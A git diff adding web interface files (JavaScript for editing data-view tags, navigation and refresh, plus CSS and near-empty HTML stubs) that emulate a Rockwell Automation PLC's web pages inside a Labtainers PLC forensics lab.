different path or tag name."); + return; + } + + document.getElementById("addrow").title = "Add this tag"; + document.getElementById("addsave").innerHTML = "Add"; + document.getElementById("canceldiv").innerHTML = ""; + document.getElementById("cancelrow").style.display = "none"; + + node.selectSingleNode("@path").value = PATH_TO_LOCAL_BACKPLANE + document.getElementById("slot").value; + document.getElementById("slot").value = ''; + + node.selectSingleNode("@name").value = document.getElementById("tagname").value; + document.getElementById("tagname").value = ''; + + switch (parseInt(document.getElementById("datatype").value)) { + case 0: + node.selectSingleNode("@valueType").value = "cip:dt_BOOL" + break; + case 1: + node.selectSingleNode("@valueType").value = "cip:dt_SINT" + break; + case 2: + node.selectSingleNode("@valueType").value = "cip:dt_INT" + break; + case 3: + node.selectSingleNode("@valueType").value = "cip:dt_DINT" + break; + case 4: + node.selectSingleNode("@valueType").value = "cip:dt_REAL" + break; + case 5: + node.selectSingleNode("@valueType").value = "cip:dt_STRINGI" + } + document.getElementById("datatype").value = 2; + + switch(parseInt(document.getElementById("displaytype").value)) { + case 0: + node.selectSingleNode("@display").value = "Decimal"; + break; + case 1: + node.selectSingleNode("@display").value = "Hexadecimal"; + break; + case 2: + node.selectSingleNode("@display").value = "Octal"; + break; + case 3: + node.selectSingleNode("@display").value = "Binary"; + break; + case 4: + node.selectSingleNode("@display").value = "String"; + } + document.getElementById("displaytype").value = 0; + document.getElementById("displaytype").disabled = false; + + if (document.getElementById("readwrite").value == 0) { + node.selectSingleNode("@access").value = "admin" + } else if (document.getElementById("readwrite").value == 1) { + node.selectSingleNode("@access").value = "write" + } else { + node.selectSingleNode("@access").value = "read" + } + document.getElementById("readwrite").value = 0 + + document.getElementById("tagtable").rows[parseInt(document.getElementById("e_row").value)].style.backgroundColor = rowcolor; + + document.getElementById("e_slot").value = ""; + document.getElementById("e_tag").value = ""; + document.getElementById("e_row").value = ""; + + document.getElementById("island").innerHTML = xmlDoc.documentElement.transformNode(xslDoc) + document.getElementById("slot").focus() +} + +function edit_row(vslot, vtag, tagnum) { + nodes = xmlDoc.selectNodes("/dv:view/dv:tag[@path='" + vslot + "' and @name='" + vtag + "']"); + + if (document.getElementById("e_row").value != "") { + document.getElementById("tagtable").rows[parseInt(document.getElementById("e_row").value)].style.backgroundColor = rowcolor; + } + + if (nodes.length > 0) { + document.getElementById("addrow").title = "Update this tag"; + document.getElementById("addsave").innerHTML = "Update"; + document.getElementById("canceldiv").innerHTML = "Cancel"; + document.getElementById("cancelrow").style.display = "block"; + + node = nodes[0]; + + document.getElementById("e_slot").value = node.selectSingleNode("@path").value; + document.getElementById("slot").value = document.getElementById("e_slot").value.substring(PATH_TO_LOCAL_BACKPLANE.length, document.getElementById("e_slot").value.length); + document.getElementById("tagname").value = node.selectSingleNode("@name").value; + document.getElementById("e_tag").value = document.getElementById("tagname").value; + document.getElementById("e_row").value = tagnum; + + switch (node.selectSingleNode("@valueType").value) { + case "cip:dt_BOOL": + document.getElementById("datatype").value = 0; + break; + case "cip:dt_SINT": + document.getElementById("datatype").value = 1; + break; + case "cip:dt_INT": + document.getElementById("datatype").value = 2; + break; + case "cip:dt_DINT": + document.getElementById("datatype").value = 3; + break; + case "cip:dt_REAL": + document.getElementById("datatype").value = 4; + break; + case "cip:dt_STRINGI": + document.getElementById("datatype").value = 5; + } + if ((parseInt(document.getElementById("datatype").value) == 0) || (parseInt(document.getElementById("datatype").value) == 5)) { + document.getElementById("displaytype").value = "4"; + document.getElementById("displaytype").disabled = true; + } else if (parseInt(document.getElementById("datatype").value) == 4) { + document.getElementById("displaytype").value = "0"; + document.getElementById("displaytype").disabled = true; + } else { + switch (node.selectSingleNode("@display").value) { + case "Decimal": + document.getElementById("displaytype").value = 0; + break; + case "Hexadecimal": + document.getElementById("displaytype").value = 1; + break; + case "Octal": + document.getElementById("displaytype").value = 2; + break; + case "Binary": + document.getElementById("displaytype").value = 3; + break; + case "String": + document.getElementById("displaytype").value = 4; + } + document.getElementById("displaytype").disabled = false; + } + if (node.selectSingleNode("@access").value == "admin") { + document.getElementById("readwrite").value = 0; + } else if (node.selectSingleNode("@access").value == "write") { + document.getElementById("readwrite").value = 1; + } else { + document.getElementById("readwrite").value = 2; + } + + /* Color the background of the row under edit */ + rowcolor = document.getElementById("tagtable").rows[tagnum].style.backgroundColor; + document.getElementById("tagtable").rows[tagnum].style.backgroundColor = "#ffff80"; + + document.getElementById("slot").focus() + } +} + +function cancel_row() { + document.getElementById("tagtable").rows[parseInt(document.getElementById("e_row").value)].style.backgroundColor = rowcolor; + + document.getElementById("e_slot").value = ""; + document.getElementById("e_tag").value = ""; + document.getElementById("e_row").value = ""; + + document.getElementById("slot").value = ""; + document.getElementById("tagname").value = ""; + document.getElementById("datatype").value = 2; + document.getElementById("displaytype").value = 0; + document.getElementById("displaytype").disabled = false; + document.getElementById("readwrite").value = 0; + + document.getElementById("addrow").title = "Add this tag"; + document.getElementById("addsave").innerHTML = "Add"; + document.getElementById("canceldiv").innerHTML = ""; + document.getElementById("cancelrow").style.display = "none"; + + document.getElementById("slot").focus(); +} + +function del_row(vslot, vtag, vrow) { + var dnodes + var dnode + + dnodes = xmlDoc.selectNodes("/dv:view/dv:tag[@path='" + vslot + "' and @name='" + vtag + "']"); + + if (dnodes.length > 0) { + if ((document.getElementById("e_slot").value != "") && (document.getElementById("e_tag").value != "") && (document.getElementById("e_row").value != "") && (document.getElementById("e_slot").value == vslot) && (document.getElementById("e_tag").value == vtag) && (document.getElementById("e_row").value == vrow)) { + /* The user is trying to delete the tag we're editing */ + document.getElementById("tagtable").rows[parseInt(document.getElementById("e_row").value)].style.backgroundColor = rowcolor; + + document.getElementById("e_slot").value = ""; + document.getElementById("e_tag").value = ""; + document.getElementById("e_row").value = ""; + + document.getElementById("slot").value = ""; + document.getElementById("tagname").value = ""; + document.getElementById("datatype").value = 2; + document.getElementById("displaytype").value = 0; + document.getElementById("displaytype").disabled = false; + document.getElementById("readwrite").value = 0; + + document.getElementById("addrow").title = "Add this tag"; + document.getElementById("addsave").innerHTML = "Add"; + document.getElementById("canceldiv").innerHTML = ""; + document.getElementById("cancelrow").style.display = "none"; + } + dnode = dnodes.item(0); + dnode.parentNode.removeChild(dnode); + } + + document.getElementById("island").innerHTML = xmlDoc.documentElement.transformNode(xslDoc) + + if ((document.getElementById("e_row").value != "") && (parseInt(document.getElementById("e_row").value) != vrow)) { + if (parseInt(document.getElementById("e_row").value) > vrow) { + document.getElementById("e_row").value = "" + (parseInt(document.getElementById("e_row").value) - 1); + } + rowcolor = document.getElementById("tagtable").rows[parseInt(document.getElementById("e_row").value)].style.backgroundColor; + document.getElementById("tagtable").rows[parseInt(document.getElementById("e_row").value)].style.backgroundColor = "#ffff80"; + } + + document.getElementById("slot").focus(); +} + +function update_name() { + var charect = ""; + var dv = new String (dataview.value); + var c; + var viewsDoc; + + for (var n = 1 ; n <= dv.length ; n++) + { + c = dv.substring(n-1,n); + if (((c >= "a") && (c <= "z")) || ((c >= "A") && (c <= "Z")) || ((c >= "0") && (c <= "9")) || (c == "_")) + {charect+=c;} + else if (c == " ") + {charect+="_";} + } + dataview.value = charect; + + form1.xmlname.value = dataview.value; + return true; +} + +function update_description() { + +var descriptioncount; +var descriptionstring; + +if (document.getElementById('description').value.length > 512 ) + { + descriptioncount = document.getElementById('description').value.length - 512 + descriptionstring = descriptioncount + ' character' + if (descriptioncount > 1 ) + descriptionstring = descriptionstring + 's'; + descriptionstring = descriptionstring + '. '; + alert('Description is limited to 512 characters. Please remove ' + descriptionstring); + document.getElementById('description').focus(); + return false; + } +} + +function validate() { + var attribute + + if (newRoot.childNodes.length == 0) { + alert("Please add tags to the data view before saving!"); + return; + } + + if (dataview.value == "") { + alert("Please give the data view a name before saving!"); + return; + } + + update_name(); + + /* See if this view exists, and alert if so */ + if ((document.form1.oldname.value == "") || ((dataview.value + ".xml").toLowerCase() != document.form1.oldname.value.toLowerCase())) { + viewsDoc = new XMLDocument() + viewsDoc.async = false; + viewsDoc.setProperty("SelectionLanguage", "XPath"); + viewsDoc.load("/rokform/DataViewsXML"); + + if (viewsDoc.selectSingleNode("/views/view[@name='" + dataview.value + "']")) { + if (!confirm("WARNING: A data view named '" + dataview.value + "' already exists. Saving with this name will overwrite the existing data view. Are you sure you wish to use this name?")) { + return; + } + } + } + + // Remove any and all error attributes from tag nodes + for (i=newRoot.firstChild; i; i=i.nextSibling) { + if ((i.nodeType == 1) && (i.nodeName == "tag")) { + if (i.attributes.getNamedItem("error")) { + i.attributes.removeNamedItem("error"); + } + } + } + + attribute = newRoot.attributes.getNamedItem("name"); + attribute.value = dataview.value; + + attribute = newRoot.attributes.getNamedItem("description"); + attribute.value = description.value; + + newRoot.appendChild(xmlDoc.createTextNode("\n")); + + document.form1.tagcount.value = xmlDoc.selectNodes("/dv:view/dv:tag").length; + document.form1.xmltext.value=xmlDoc.xml; + document.form1.submit(); +} + +function typeUpdate() { + if ((parseInt(document.getElementById("datatype").value) == 5) || (parseInt(document.getElementById("datatype").value) == 0)){ + /* String or BOOL data type - change the display as combo box */ + document.getElementById("displaytype").value = "4"; + document.getElementById("displaytype").disabled = true; + } else if (parseInt(document.getElementById("datatype").value) == 4) { + /* REAL data type - change the display as combo box */ + document.getElementById("displaytype").value = "0"; + document.getElementById("displaytype").disabled = true; + } else { + /* Not a string type - enable the combo box */ + if (document.getElementById("displaytype").disabled) { + document.getElementById("displaytype").disabled = false; + document.getElementById("displaytype").value = "0"; + } + } +} + +function validate_displayas() { + if (((parseInt(document.getElementById("datatype").value) == 1) || (parseInt(document.getElementById("datatype").value) == 2) || (parseInt(document.getElementById("datatype").value) == 3)) && (parseInt(document.getElementById("displaytype").value) == 4)){ + document.getElementById("displaytype").value = 0; + } +} + +function isValidSlot(sl) { + return ((parseInt(sl) >= 0) && (parseInt(sl) <= 16)); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/redirect.html new file mode 100644 index 000000000..409627f2e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/redirect.html @@ -0,0 +1,16 @@ + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/scripts/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/scripts/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/scripts/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/scripts/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/scripts/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/scripts/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/scripts/refresh.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/scripts/refresh.js new file mode 100644 index 000000000..7c96eeffe --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/scripts/refresh.js @@ -0,0 +1,19 @@ +function jsRefresh() +{ + parent.refreshTime = document.getElementById("refresh").value; + if (parent.refreshTime != 0) + document.location.reload(); +} + +function refreshInit() +{ + if (eval("typeof(parent.refreshTime)") == 'undefined') + parent.refreshTime = document.getElementById('refresh').value; + else + document.getElementById('refresh').value = parent.refreshTime; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') + parent.window.clearTimeout(parent.timeoutPntr); + + parent.timeoutPntr = parent.window.setTimeout("frames.home.jsRefresh();", (parent.refreshTime * 1000)); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services.asp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services.asp new file mode 100644 index 000000000..4563ebdd0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services.asp @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services.html new file mode 100644 index 000000000..4563ebdd0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, 